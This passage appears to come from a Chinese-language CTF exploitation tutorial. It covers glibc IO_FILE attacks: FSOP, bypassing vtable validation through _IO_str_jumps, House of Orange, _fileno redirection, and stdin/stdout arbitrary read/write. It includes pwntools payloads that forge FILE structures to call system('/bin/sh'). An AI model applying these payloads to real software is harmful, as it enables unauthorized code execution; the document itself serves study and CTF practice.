addr``-``0x20``:  ``0x4d4caf8060000000`  `0x0000000000000056``addr``-``0x10``:  ``0x00007fe2b0e39b78`  `0x0000564d4caf8060``addr: ...

这时,由于之前申请了0x50大小的堆块(解释了设置large binbk_nextsize的目的,即为伪造size),那么就会申请到chunk header位于addr-0x20fake chunk返回给用户,此时需要访问到fake chunkbk指针指向的地址(bck->fd = victim),因此需要其为一个有效的地址,这就解释了设置large binbk的目的。
最后需要说明的是,当开了地址随机化之后,堆块的地址最高位只可能是0x550x56,而只有当最高位为0x56的时候,上述攻击方式才能生效,这里其实和伪造0x7f而用0x7_后面加上其他某个数可能就不行的原因一样,是由于__libc_malloc中有这么一句断言:

assert``(!victim || chunk_is_mmapped(mem2chunk(victim))``    ``|| ar_ptr ``=``=` `arena_for_chunk(mem2chunk(victim)));

过上述检测需要满足以下一条即可:

  1. victim0 (没有申请到内存)
  2. IS_MMAPPED1 (是mmap的内存)
  3. NON_MAIN_ARENA0 (申请到的内存必须在其所分配的arena中)
    而此时由于是伪造在别处的堆块,不满足我们常规需要满足的第三个条件,因此必须要满足第二个条件了,查看宏定义#define IS_MMAPPED 0x2#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)可知,需要size & 0x2不为0才能通过mmap的判断。

值得一提的是,由于addr-0x8(即fake chunkbk域)被写入了地址Z,因此最终在fake chunk被返还给用户后,unsorted bin中仍有地址Z所对应的堆块(已经被放入了large bin中),且其fd域被写入了main_arena+88bck->fd = unsorted_chunks(av))。

IO_FILE 相关结构体

_IO_FILE_plus结构体的定义为:

struct _IO_FILE_plus``{`` ``_IO_FILE ``file``;`` ``const struct _IO_jump_t ``*``vtable;``};

vtable对应的结构体_IO_jump_t的定义为:

struct _IO_jump_t``{``  ``JUMP_FIELD(size_t, __dummy);``  ``JUMP_FIELD(size_t, __dummy2);``  ``JUMP_FIELD(_IO_finish_t, __finish);``  ``JUMP_FIELD(_IO_overflow_t, __overflow);``  ``JUMP_FIELD(_IO_underflow_t, __underflow);``  ``JUMP_FIELD(_IO_underflow_t, __uflow);``  ``JUMP_FIELD(_IO_pbackfail_t, __pbackfail);``  ``/``*` `showmany ``*``/``  ``JUMP_FIELD(_IO_xsputn_t, __xsputn);``  ``JUMP_FIELD(_IO_xsgetn_t, __xsgetn);``  ``JUMP_FIELD(_IO_seekoff_t, __seekoff);``  ``JUMP_FIELD(_IO_seekpos_t, __seekpos);``  ``JUMP_FIELD(_IO_setbuf_t, __setbuf);``  ``JUMP_FIELD(_IO_sync_t, __sync);``  ``JUMP_FIELD(_IO_doallocate_t, __doallocate);``  ``JUMP_FIELD(_IO_read_t, __read);``  ``JUMP_FIELD(_IO_write_t, __write);``  ``JUMP_FIELD(_IO_seek_t, __seek);``  ``JUMP_FIELD(_IO_close_t, __close);``  ``JUMP_FIELD(_IO_stat_t, __stat);``  ``JUMP_FIELD(_IO_showmanyc_t, __showmanyc);``  ``JUMP_FIELD(_IO_imbue_t, __imbue);``#if 0``  ``get_column;``  ``set_column;``#endif``};

这个函数表中有19个函数,分别完成IO相关的功能,由IO函数调用,如fwrite最终会调用__write函数,fread会调用__doallocate来分配IO缓冲区等。

struct _IO_FILE {``   ``int` `_flags;``  ``#define _IO_file_flags _flags` `  ``char``*` `_IO_read_ptr;  ``/``*` `Current read pointer ``*``/``  ``char``*` `_IO_read_end;  ``/``*` `End of get area. ``*``/``  ``char``*` `_IO_read_base; ``/``*` `Start of putback``+``get area. ``*``/``  ``char``*` `_IO_write_base; ``/``*` `Start of put area. ``*``/``  ``char``*` `_IO_write_ptr; ``/``*` `Current put pointer. ``*``/``  ``char``*` `_IO_write_end; ``/``*` `End of put area. ``*``/``  ``char``*` `_IO_buf_base;  ``/``*` `Start of reserve area. ``*``/``  ``char``*` `_IO_buf_end;  ``/``*` `End of reserve area. ``*``/``  ``/``*` `The following fields are used to support backing up ``and` `undo. ``*``/``  ``char ``*``_IO_save_base; ``/``*` `Pointer to start of non``-``current get area. ``*``/``  ``char ``*``_IO_backup_base; ``/``*` `Pointer to first valid character of backup area ``*``/``  ``char ``*``_IO_save_end; ``/``*` `Pointer to end of non``-``current get area. ``*``/` `  ``struct _IO_marker ``*``_markers;` `  ``struct _IO_FILE ``*``_chain;` `  ``int` `_fileno;``#if 0``  ``int` `_blksize;``#else``  ``int` `_flags2;``#endif``  ``_IO_off_t _old_offset;` `#define __HAVE_COLUMN``  ``unsigned short _cur_column;``  ``signed char _vtable_offset;``  ``char _shortbuf[``1``];``  ``_IO_lock_t ``*``_lock;``#ifdef _IO_USE_OLD_IO_FILE``};

进程中FILE结构通过_chain域构成一个链表,链表头部为_IO_list_all全局变量,默认情况下依次链接了stderr,stdout,stdin三个文件流,并将新建的流插入到头部,vtable虚表为_IO_file_jumps
此外,还有_IO_wide_data结构体:

struct _IO_wide_data``{``   ``wchar_t ``*``_IO_read_ptr;  ``   ``wchar_t ``*``_IO_read_end;``   ``wchar_t ``*``_IO_read_base;``   ``wchar_t ``*``_IO_write_base;``   ``wchar_t ``*``_IO_write_ptr;``   ``wchar_t ``*``_IO_write_end;  ``   ``wchar_t ``*``_IO_buf_base;  ``   ``wchar_t ``*``_IO_buf_end;  ``   ``[...]``   ``const struct _IO_jump_t ``*``_wide_vtable;``};

还有一些宏的定义:

#define _IO_MAGIC 0xFBAD0000``#define _OLD_STDIO_MAGIC 0xFABC0000``#define _IO_MAGIC_MASK 0xFFFF0000``#define _IO_USER_BUF 1``#define _IO_UNBUFFERED 2``#define _IO_NO_READS 4``#define _IO_NO_WRITES 8``#define _IO_EOF_SEEN 0x10``#define _IO_ERR_SEEN 0x20``#define _IO_DELETE_DONT_CLOSE 0x40``#define _IO_LINKED 0x80``#define _IO_IN_BACKUP 0x100``#define _IO_LINE_BUF 0x200``#define _IO_TIED_PUT_GET 0x400``#define _IO_CURRENTLY_PUTTING 0x800``#define _IO_IS_APPENDING 0x1000``#define _IO_IS_FILEBUF 0x2000``#define _IO_BAD_SEEN 0x4000``#define _IO_USER_LOCK 0x8000

此外,许多Pwn题初始化的时候都会有下面三行:

setvbuf(stdin, ``0LL``, ``2``, ``0LL``);``setvbuf(stdout, ``0LL``, ``2``, ``0LL``);``setvbuf(stderr, ``0LL``, ``2``, ``0LL``);

这是初始化程序的io结构体,只有初始化之后,io函数才能在程序过程中打印数据,如果不初始化,就只能在exit结束的时候,才能一起把数据打印出来。

IO_FILE attack 之 FSOP (libc 2.23 & 2.24)

主要原理为劫持vtable_chain,伪造IO_FILE,主要利用方式为调用IO_flush_all_lockp()函数触发。
IO_flush_all_lockp()函数将在以下三种情况下被调用:

  1. libc检测到内存错误,从而执行abort函数时(在glibc-2.26删除)。
  2. 程序执行exit函数时。
  3. 程序从main函数返回时。

源码:

int` `_IO_flush_all_lockp (``int` `do_lock)``{`` ``int` `result ``=` `0``;`` ``struct _IO_FILE ``*``fp;`` ``int` `last_stamp;` ` ``fp ``=` `(_IO_FILE ``*``) _IO_list_all;`` ``while` `(fp !``=` `NULL)``  ``{``    ``...``   ``if` `(((fp``-``>_mode <``=` `0` `&& fp``-``>_IO_write_ptr > fp``-``>_IO_write_base)``#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T``    ``|| (_IO_vtable_offset (fp) ``=``=` `0``      ``&& fp``-``>_mode > ``0` `&& (fp``-``>_wide_data``-``>_IO_write_ptr``          ``> fp``-``>_wide_data``-``>_IO_write_base))``#endif``    ``)``   ``&& _IO_OVERFLOW (fp, EOF) ``=``=` `EOF)  ``/``/``如果输出缓冲区有数据,刷新输出缓冲区``  ``result ``=` `EOF;` `  ``fp ``=` `fp``-``>_chain; ``/``/``遍历链表``  ``}``  ``[...]``}

可以看到,当满足:

fp``-``>_mode ``=` `0``fp``-``>_IO_write_ptr > fp``-``>_IO_write_base

就会调用_IO_OVERFLOW()函数,而这里的_IO_OVERFLOW就是文件流对象虚表的第四项指向的内容_IO_new_file_overflow,因此在libc-2.23版本下可如下构造,进行FSOP

._chain ``=``> chunk_addr``chunk_addr``{`` ``file` `=` `{``  ``_flags ``=` `"/bin/sh\x00"``, ``/``/``对应此结构体首地址(fp)``  ``_IO_read_ptr ``=` `0x0``,``  ``_IO_read_end ``=` `0x0``,``  ``_IO_read_base ``=` `0x0``,``  ``_IO_write_base ``=` `0x0``,``  ``_IO_write_ptr ``=` `0x1``,``   ``...``   ``_mode ``=` `0x0``, ``/``/``一般不用特意设置``   ``_unused2 ``=` `'\000'` `<repeats ``19` `times>`` ``},`` ``vtable ``=` `heap_addr``}``heap_addr``{`` ``__dummy ``=` `0x0``,`` ``__dummy2 ``=` `0x0``,`` ``__finish ``=` `0x0``,`` ``__overflow ``=` `system_addr,``  ``...``}

因此这样构造,通过_IO_OVERFLOW (fp),我们就实现了system("/bin/sh\x00")

libc-2.24加入了对虚表的检查IO_validate_vtable()IO_vtable_check(),若无法通过检查,则会报错:Fatal error: glibc detected an invalid stdio handle

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)``#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)``# define _IO_JUMPS_FUNC(THIS) \`` ``(IO_validate_vtable                          \``  ``(``*``(struct _IO_jump_t ``*``*``) ((void ``*``) &_IO_JUMPS_FILE_plus (THIS)  \``         ``+` `(THIS)``-``>_vtable_offset)))

可见在最终调用vtable的函数之前,内联进了IO_validate_vtable函数,其源码如下:

static inline const struct _IO_jump_t ``*` `IO_validate_vtable (const struct _IO_jump_t ``*``vtable)``{`` ``uintptr_t section_length ``=` `__stop___libc_IO_vtables ``-` `__start___libc_IO_vtables;`` ``const char ``*``ptr ``=` `(const char ``*``) vtable;`` ``uintptr_t offset ``=` `ptr ``-` `__start___libc_IO_vtables;`` ``if` `(__glibc_unlikely (offset >``=` `section_length)) ``/``/``检查vtable指针是否在glibc的vtable段中。``  ``_IO_vtable_check ();`` ``return` `vtable;``}

glibc中有一段完整的内存存放着各个vtable,其中__start___libc_IO_vtables指向第一个vtable地址_IO_helper_jumps,而__stop___libc_IO_vtables指向最后一个vtable_IO_str_chk_jumps结束的地址。
若指针不在glibcvtable段,会调用_IO_vtable_check()做进一步检查,以判断程序是否使用了外部合法的vtable(重构或是动态链接库中的vtable),如果不是则报错。
具体源码如下:

void attribute_hidden _IO_vtable_check (void)``{``#ifdef SHARED`` ``void (``*``flag) (void) ``=` `atomic_load_relaxed (&IO_accept_foreign_vtables);``#ifdef PTR_DEMANGLE`` ``PTR_DEMANGLE (flag);``#endif`` ``if` `(flag ``=``=` `&_IO_vtable_check) ``/``/``检查是否是外部重构的vtable``  ``return``;` ` ``{``  ``Dl_info di;``  ``struct link_map ``*``l;``  ``if` `(_dl_open_hook !``=` `NULL``    ``|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) !``=` `0``      ``&& l``-``>l_ns !``=` `LM_ID_BASE)) ``/``/``检查是否是动态链接库中的vtable``   ``return``;`` ``}` `...` ` ``__libc_fatal (``"Fatal error: glibc detected an invalid stdio handle\n"``);``}

因此,最好的办法是:我们伪造的vtableglibcvtable段中,从而得以绕过该检查。
目前来说,有四种思路:利用_IO_str_jumps_IO_str_overflow()函数,利用_IO_str_jumps_IO_str_finish()函数与利用_IO_wstr_jumps中对应的这两种函数,先来介绍最为方便的:利用_IO_str_jumps_IO_str_finish()函数的手段。
_IO_str_jumps的结构体如下:

const struct _IO_jump_t _IO_str_jumps libio_vtable ``=``{``  ``JUMP_INIT_DUMMY,``  ``JUMP_INIT(finish, _IO_str_finish),``  ``JUMP_INIT(overflow, _IO_str_overflow),``  ``JUMP_INIT(underflow, _IO_str_underflow),``  ``JUMP_INIT(uflow, _IO_default_uflow),``  ``...``}

其中,_IO_str_finish源代码如下:

void _IO_str_finish (_IO_FILE ``*``fp, ``int` `dummy)``{`` ``if` `(fp``-``>_IO_buf_base && !(fp``-``>_flags & _IO_USER_BUF))``  ``(((_IO_strfile ``*``) fp)``-``>_s._free_buffer) (fp``-``>_IO_buf_base); ``/``/``执行函数`` ``fp``-``>_IO_buf_base ``=` `NULL;`` ``_IO_default_finish (fp, ``0``);``}

其中相关的_IO_str_fields结构体与_IO_strfile_结构体的定义:

struct _IO_str_fields``{`` ``_IO_alloc_type _allocate_buffer;`` ``_IO_free_type _free_buffer;``};` `typedef struct _IO_strfile_``{`` ``struct _IO_streambuf _sbf;`` ``struct _IO_str_fields _s;``} _IO_strfile;

可以看到,它使用了IO结构体中的值当作函数地址来直接调用,如果满足条件,将直接将fp->_s._free_buffer当作函数指针来调用。
首先,仍然需要绕过之前的_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base进入到_IO_OVERFLOW中。
我们可以将vtable的地址覆盖成_IO_str_jumps-8,这样会使得_IO_str_finish函数成为了伪造的vtable地址的_IO_OVERFLOW函数(因为_IO_str_finish偏移为_IO_str_jumps0x10,而_IO_OVERFLOW0x18)。这个vtable(地址为_IO_str_jumps-8)可以绕过检查,因为它在vtable的地址段中。
构造好vtable之后,需要做的就是构造IO FILE结构体其他字段,以进入将fp->_s._free_buffer当作函数指针的调用:先构造fp->_IO_buf_base/bin/sh的地址,然后构造fp->_flags不包含_IO_USER_BUF,它的定义为#define _IO_USER_BUF 1,即fp->_flags最低位为0
最后构造fp->_s._free_buffersystem_addrone gadget即可getshell
由于libc中没有_IO_str_jump的符号,因此可以通过_IO_str_jumpsvtable中的倒数第二个表,用vtable的最后地址减去0x168定位。
也可以用如下函数进行定位:

# libc.address = libc_base``def` `get_IO_str_jumps():``  ``IO_file_jumps_addr ``=` `libc.sym[``'_IO_file_jumps'``]``  ``IO_str_underflow_addr ``=` `libc.sym[``'_IO_str_underflow'``]``  ``for` `ref ``in` `libc.search(p64(IO_str_underflow_addr``-``libc.address)):``    ``possible_IO_str_jumps_addr ``=` `ref ``-` `0x20``    ``if` `possible_IO_str_jumps_addr > IO_file_jumps_addr:``      ``return` `possible_IO_str_jumps_addr

可以进行如下构造:

._chain ``=``> chunk_addr``chunk_addr``{`` ``file` `=` `{``  ``_flags ``=` `0x0``,``  ``_IO_read_ptr ``=` `0x0``,``  ``_IO_read_end ``=` `0x0``,``  ``_IO_read_base ``=` `0x0``,``  ``_IO_write_base ``=` `0x0``,``  ``_IO_write_ptr ``=` `0x1``,``  ``_IO_write_end ``=` `0x0``,``  ``_IO_buf_base ``=` `bin_sh_addr,``   ``...``   ``_mode ``=` `0x0``, ``/``/``一般不用特意设置``   ``_unused2 ``=` `'\000'` `<repeats ``19` `times>`` ``},`` ``vtable ``=` `_IO_str_jumps``-``8` `/``/``chunk_addr ``+` `0xd8` `~ ``+``0xe0``}``+``0xe0` `~ ``+``0xe8` `: ``0x0``+``0xe8` `~ ``+``0xf0` `: system_addr ``/` `one_gadget ``/``/``fp``-``>_s._free_buffer

利用house of orange(见下文)构造的payload

payload ``=` `p64(``0``) ``+` `p64(``0x60``) ``+` `p64(``0``) ``+` `p64(libc.sym[``'_IO_list_all'``] ``-` `0x10``) ``#unsorted bin attack``payload ``+``=` `p64(``0``) ``+` `p64(``1``) ``+` `p64(``0``) ``+` `p64(``next``(libc.search(b``'/bin/sh'``)))``payload ``=` `payload.ljust(``0xd8``, b``'\x00'``) ``+` `p64(get_IO_str_jumps() ``-` `8``)``payload ``+``=` `p64(``0``) ``+` `p64(libc.sym[``'system'``])

再来介绍一下:利用_IO_str_jumps_IO_str_overflow()函数的手段。
_IO_str_overflow()函数的源码如下:

int` `_IO_str_overflow (_IO_FILE ``*``fp, ``int` `c)``{`` ``int` `flush_only ``=` `c ``=``=` `EOF;`` ``_IO_size_t pos;`` ``if` `(fp``-``>_flags & _IO_NO_WRITES)``   ``return` `flush_only ? ``0` `: EOF;`` ``if` `((fp``-``>_flags & _IO_TIED_PUT_GET) && !(fp``-``>_flags & _IO_CURRENTLY_PUTTING))``  ``{``   ``fp``-``>_flags |``=` `_IO_CURRENTLY_PUTTING;``   ``fp``-``>_IO_write_ptr ``=` `fp``-``>_IO_read_ptr;``   ``fp``-``>_IO_read_ptr ``=` `fp``-``>_IO_read_end;``  ``}`` ``pos ``=` `fp``-``>_IO_write_ptr ``-` `fp``-``>_IO_write_base;`` ``if` `(pos >``=` `(_IO_size_t) (_IO_blen (fp) ``+` `flush_only))``  ``{``   ``if` `(fp``-``>_flags & _IO_USER_BUF) ``/``*` `not` `allowed to enlarge ``*``/``  ``return` `EOF;``   ``else``  ``{``   ``char ``*``new_buf;``   ``char ``*``old_buf ``=` `fp``-``>_IO_buf_base;``   ``size_t old_blen ``=` `_IO_blen (fp);``   ``_IO_size_t new_size ``=` `2` `*` `old_blen ``+` `100``;``   ``if` `(new_size < old_blen)``    ``return` `EOF;``   ``new_buf``    ``=` `(char ``*``) (``*``((_IO_strfile ``*``) fp)``-``>_s._allocate_buffer) (new_size); ``/``/` `调用了fp``-``>_s._allocate_buffer函数指针``   ``if` `(new_buf ``=``=` `NULL)``    ``{``     ``/``*`   `__ferror(fp) ``=` `1``; ``*``/``     ``return` `EOF;``    ``}``   ``if` `(old_buf)``    ``{``     ``memcpy (new_buf, old_buf, old_blen);``     ``(``*``((_IO_strfile ``*``) fp)``-``>_s._free_buffer) (old_buf);``     ``/``*` `Make sure _IO_setb won't ``try` `to delete _IO_buf_base. ``*``/``     ``fp``-``>_IO_buf_base ``=` `NULL;``    ``}``   ``memset (new_buf ``+` `old_blen, ``'\0'``, new_size ``-` `old_blen);` `   ``_IO_setb (fp, new_buf, new_buf ``+` `new_size, ``1``);``   ``fp``-``>_IO_read_base ``=` `new_buf ``+` `(fp``-``>_IO_read_base ``-` `old_buf);``   ``fp``-``>_IO_read_ptr ``=` `new_buf ``+` `(fp``-``>_IO_read_ptr ``-` `old_buf);``   ``fp``-``>_IO_read_end ``=` `new_buf ``+` `(fp``-``>_IO_read_end ``-` `old_buf);``   ``fp``-``>_IO_write_ptr ``=` `new_buf ``+` `(fp``-``>_IO_write_ptr ``-` `old_buf);` `   ``fp``-``>_IO_write_base ``=` `new_buf;``   ``fp``-``>_IO_write_end ``=` `fp``-``>_IO_buf_end;``  ``}``  ``}` ` ``if` `(!flush_only)``  ``*``fp``-``>_IO_write_ptr``+``+` `=` `(unsigned char) c;`` ``if` `(fp``-``>_IO_write_ptr > fp``-``>_IO_read_end)``  ``fp``-``>_IO_read_end ``=` `fp``-``>_IO_write_ptr;`` ``return` `c;``}

和之前利用_IO_str_finish的思路差不多,可以看到其中调用了fp->_s._allocate_buffer函数指针,其参数rdinew_size,因此,我们将_s._allocate_buffer改为system的地址,new_size改为/bin/sh的地址,又new_size = 2 * old_blen + 100,也就是new_size = 2 * _IO_blen (fp) + 100,可以找到宏定义:#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base),因此new_size = 2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100,故我们可以使_IO_buf_base = 0_IO_buf_end = (bin_sh_addr - 100) // 2,当然还不能忘了需要绕过_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base才能进入到_IO_OVERFLOW中,故令_IO_write_ptr = 0xffffffffffffffff_IO_write_base = 0x0即可。
最终可按如下布局fake IO_FILE

._chain ``=``> chunk_addr``chunk_addr``{`` ``file` `=` `{``  ``_flags ``=` `0x0``,``  ``_IO_read_ptr ``=` `0x0``,``  ``_IO_read_end ``=` `0x0``,``  ``_IO_read_base ``=` `0x0``,``  ``_IO_write_base ``=` `0x0``,``  ``_IO_write_ptr ``=` `0x1``,``  ``_IO_write_end ``=` `0x0``,``  ``_IO_buf_base ``=` `0x0``,``  ``_IO_buf_end ``=` `(bin_sh_addr ``-` `100``) ``/``/` `2``,``   ``...``   ``_mode ``=` `0x0``, ``/``/``一般不用特意设置``   ``_unused2 ``=` `'\000'` `<repeats ``19` `times>`` ``},`` ``vtable ``=` `_IO_str_jumps ``/``/``chunk_addr ``+` `0xd8` `~ ``+``0xe0``}``+``0xe0` `~ ``+``0xe8` `: system_addr ``/` `one_gadget ``/``/``fp``-``>_s._allocate_buffer

参考payload(劫持的stdout):

new_size ``=` `libc_base ``+` `next``(libc.search(b``'/bin/sh'``))``payload ``=` `p64(``0xfbad2084``)``payload ``+``=` `p64(``0``) ``# _IO_read_ptr``payload ``+``=` `p64(``0``) ``# _IO_read_end``payload ``+``=` `p64(``0``) ``# _IO_read_base``payload ``+``=` `p64(``0``) ``# _IO_write_base``payload ``+``=` `p64(``0xffffffffffffffff``) ``# _IO_write_ptr``payload ``+``=` `p64(``0``) ``# _IO_write_end``payload ``+``=` `p64(``0``) ``# _IO_buf_base``payload ``+``=` `p64((new_size ``-` `100``) ``/``/` `2``) ``# _IO_buf_end``payload ``+``=` `p64(``0``) ``*` `4``payload ``+``=` `p64(libc_base ``+` `libc.sym[``"_IO_2_1_stdin_"``])``payload ``+``=` `p64(``1``) ``+` `p64((``1``<<``64``) ``-` `1``)``payload ``+``=` `p64(``0``) ``+` `p64(libc_base ``+` `0x3ed8c0``) ``#lock``payload ``+``=` `p64((``1``<<``64``) ``-` `1``) ``+` `p64(``0``)``payload ``+``=` `p64(libc_base ``+` `0x3eb8c0``)``payload ``+``=` `p64(``0``) ``*` `6``payload ``+``=` `p64(libc_base ``+` `get_IO_str_jumps_offset()) ``# _IO_str_jumps``payload ``+``=` `p64(libc_base ``+` `libc.sym[``"system"``])

而在libc-2.28及以后,由于不再使用偏移找_s._allocate_buffer_s._free_buffer,而是直接用mallocfree代替,所以FSOP也失效了。

House of Orange

利用unsorted bin attack 配合 IO_FILE attack (FSOP)进行攻击。
通过unsorted bin attack_IO_list_all内容从_IO_2_1_stderr_改为main_arena+88/96(实则指向top chunk)。
而在_IO_FILE_plus结构体中,_chain的偏移为0x68,而top chunk之后为0x8单位的last_remainder,接下来为unsorted binfdbk指针,共0x10大小,再之后为small bin中的指针(每个small binfdbk指针,共0x10个单位),剩下0x50的单位,从smallbin[0]正好分配到smallbin[4](准确说为其fd字段),大小就是从0x200x60,而smallbin[4]fd字段中的内容为该链表中最靠近表头的small bin的地址 (chunk header),因此0x60small bin的地址即为fake struct_chain中的内容,只需要控制该0x60small bin(以及其下面某些堆块)中的部分内容,即可进行FSOP

House of Orange 是一种较为特殊的🍊利用方式,主要针对于没有 free 的特殊场景,在无法使用 free() 释放堆块的特殊情况下,我们需要通过对漏洞的利用以完成 free 的效果

通常情况下,🍊选择劫持 top chunk:当 top chunk 的 size 不足以满足需求时,原有的 top chunk 会被释放,放入 unsorted bin 中,随后 ptmalloc2 通过 brk 系统调用扩展堆区,此时我们便获得了一个 unsorted bin chunk

需要注意的是我们所请求的 size 不能够大于 mmp_.mmap_threshold (通常为 128k),否则 ptmalloc2 将会直接采用 mmap 系统调用分配内存

我们还需要绕过如下检测:

  • Top chunk 需要对内存页(通常是0x1000)对齐
  • size 需要大于 MINSIZE 而小于 request + MINSIZE
  • PREV_INUSE 位需为 1

接下来便是 House of Orange 这个🍊中最为精髓的🍊:通过 malloc 触发错误这条路径来以 FSOP 的方式 get shell

通过堆溢出或是其他方式将 unsorted bin 的 bk 指针改为 _IO_list_all - 0x10的地址,size 改为 0x61,并在其中伪造我们的 fake _IO_file_plus 结构体

随后进行一个大于现有 unsorted bin 链表尾结点的请求(假设 unsorted bin 中只有一个 chunk),此时该 chunk 便会被放入 small bin 中

接下来会向 该 chunk 的 bk 成员—— _IO_list_all - 0x10 的 fd 指针——即 _IO_list_all 上写入 main_arena + 0x58 的地址,并判断该 “chunk” 是否符合要求——这个时候便会报错,通过 malloc_printerr 最终走到 abort

abort 后会调用 _IO_flush_all_lockp() 函数,先对_IO_list_all—— main_arena + 0x58 进行判断——不符合要求,此时便会从其 _chain 指针取出下一个_IO_file_plus结构,而该指针位于 _IO_file_plus结构偏移 0x68 的地方——即从 main_arena + 0x58 + 0x68 这个位置取出下一个 _IO_file_plus 结构体,刚好是 small bin 中 size 为 0x60 的地方,由此完成我们的 FSOP

例题:houseoforange_hitcon_2016 - House of Orange

IO_FILE attack 之 利用_fileno字段

_fileno的值就是文件描述符,位于stdin文件结构开头0x70偏移处,如:stdinfileno0stdoutfileno1stderrfileno2
在漏洞利用中,可以通过修改stdin_fileno值来重定位需要读取的文件,本来为0的话,表示从标准输入中读取,修改为3则表示为从文件描述符为3的文件(已经open的文件)中读取,该利用在某些情况下可直接读取flag

IO_FILE attack 之 任意读写

1.利用stdin进行任意写

scanffreadgets等读入走IO指针(read不走)。
大体流程为:若_IO_buf_base为空,则调用_IO_doallocbuf去初始化输入缓冲区,然后判断输入缓冲区是否存在剩余数据,如果输入缓冲区有剩余数据(_IO_read_end > _IO_read_ptr)则将其直接拷贝至目标地址(不会对此时输入的数据进行读入),如果没有或不够,则调用__underflow函数执行系统调用读取数据SYS_read)到输入缓冲区(从_IO_buf_base_IO_buf_end,默认0x400,即将数据读到_IO_buf_base,读取0x400个字节),此时若实际读入了n个字节的数据,则_IO_read_end = _IO_buf_base + n(即_IO_read_end指向实际读入的最后一个字节的数据),之后再将输入缓冲区中的数据拷贝到目标地址。
这里需要注意的是,若输入缓冲区中没有剩余的数据,则每次读入数据进输入缓冲区,仅和_IO_buf_base_IO_buf_end有关。
在将数据从输入缓冲区拷贝到目标地址的过程中,需要满足所调用的读入函数的自身的限制条件,例如:使用scanf("%d",&a)读入整数,则当在输入缓冲区中遇到了字符(或scanf的一些截断符)等不符合的情况,就会停止这个拷贝的过程。最终,_IO_read_ptr指向成功拷贝到目的地址中的最后一个字节数据在输入缓冲区中的地址。因此,若是遇到了不符合限制条件的情况而终止拷贝,则最终会使得_IO_read_end > _IO_read_ptr,即再下一次读入之前会被认定为输入缓冲区中仍有剩余数据,在此情况下,很有可能不会进行此次读入,或将输入缓冲区中剩余的数据拷贝到此次读入的目标地址,从而导致读入的错误
getchar()IO_getc()的作用是刷新_IO_read_ptr,每次调用,会从输入缓冲区读一个字节数据,即将_IO_read_ptr++
相关源码:

_IO_size_t _IO_file_xsgetn (_IO_FILE ``*``fp, void ``*``data, _IO_size_t n)``{`` ``...`` ``if` `(fp``-``>_IO_buf_base ``=``=` `NULL)``  ``{``   ``...``   ``/``/``输入缓冲区为空则初始化输入缓冲区``  ``}`` ``while` `(want > ``0``)``  ``{``   ``have ``=` `fp``-``>_IO_read_end ``-` `fp``-``>_IO_read_ptr;``   ``if` `(have > ``0``)``    ``{``     ``...``     ``/``/``memcpy` `    ``}``   ``if` `(fp``-``>_IO_buf_base``     ``&& want < (size_t) (fp``-``>_IO_buf_end ``-` `fp``-``>_IO_buf_base))``    ``{``     ``if` `(__underflow (fp) ``=``=` `EOF) ``/``/` `调用__underflow读入数据``     ``...``    ``}``   ``...`` ``return` `n ``-` `want;``}
int` `_IO_new_file_underflow (_IO_FILE ``*``fp)``{`` ``_IO_ssize_t count;`` ``...`` ``/``/` `会检查_flags是否包含_IO_NO_READS标志,包含则直接返回。`` ``/``/` `标志的定义是``#define _IO_NO_READS 4,因此_flags不能包含4。`` ``if` `(fp``-``>_flags & _IO_NO_READS)``  ``{``   ``fp``-``>_flags |``=` `_IO_ERR_SEEN;``   ``__set_errno (EBADF);``   ``return` `EOF;``  ``}`` ``/``/` `如果输入缓冲区里存在数据,则直接返回`` ``if` `(fp``-``>_IO_read_ptr < fp``-``>_IO_read_end)``  ``return` `*``(unsigned char ``*``) fp``-``>_IO_read_ptr;`` ``...`` ``/``/` `调用_IO_SYSREAD函数最终执行系统调用读取数据`` ``count ``=` `_IO_SYSREAD (fp, fp``-``>_IO_buf_base,``        ``fp``-``>_IO_buf_end ``-` `fp``-``>_IO_buf_base);`` ``...``}``libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

综上,为了做到任意写,满足如下条件,即可进行利用:
(1) 设置_IO_read_end等于_IO_read_ptr(使得输入缓冲区内没有剩余数据,从而可以从用户读入数据)。
(2) 设置_flag &~ _IO_NO_READS_flag &~ 0x4(一般不用特意设置)。
(3) 设置_fileno0(一般不用特意设置)。
(4) 设置_IO_buf_basewrite_start_IO_buf_endwrite_end(我们目标写的起始地址是write_start,写结束地址为write_end),且使得_IO_buf_end-_IO_buf_base大于要写入的数据长度。

2.利用stdout进行任意读/写

printffwriteputs等输出走IO指针(write不走)。
_IO_2_1_stdout_中,_IO_buf_base_IO_buf_end为输出缓冲区起始位置(默认大小为0x400),在输出的过程中,会先将需要输出的数据从目标地址拷贝到输出缓冲区,再从输出缓冲区输出给用户。
缓冲区建立函数_IO_doallocbuf会建立输出缓冲区,并把基地址保存在_IO_buf_base中,结束地址保存在_IO_buf_end中。在建立里输出缓冲区后,会将基址址给_IO_write_base,若是设置的是全缓冲模式_IO_FULL_BUF,则会将结束地址给_IO_write_end,若是设置的是行缓冲模式_IO_LINE_BUF,则_IO_write_end中存的是_IO_buf_base,此外,_IO_write_ptr表示输出缓冲区中已经使用到的地址。即_IO_write_base_IO_write_ptr之间的空间是已经使用的缓冲区,_IO_write_ptr_IO_write_end之间为剩余的输出缓冲区。
最终实际调用了_IO_2_1_stdout_vtable中的_xsputn,也就是_IO_new_file_xsputn函数,源码如下:

